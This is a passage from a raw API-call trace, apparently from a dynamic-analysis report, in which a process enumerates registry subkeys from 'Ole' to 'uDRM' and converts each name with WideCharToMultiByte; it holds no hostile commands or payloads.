lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x90b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x90b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x90c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x90b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x90b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x90b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x90b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x90b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0041.570] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x90b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x90b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x90c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x90b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x90b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x90b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x90b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0041.571] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x90b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x90c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x90b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x90c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x90b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x90c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x90b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x90b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x90b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x90b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x90c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0041.572] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x90b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0041.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x90b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x90b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x90c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x90b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x90b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x90b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x90c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x90b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x90b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x90c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0041.573] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x90b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x90c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x90b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x90c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x90b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x90b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x90c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x90b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x90c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x90b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x90b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0041.574] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x90b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0041.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x90b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x90b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x90c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x90b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x90c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0041.575] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x90b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0041.575] 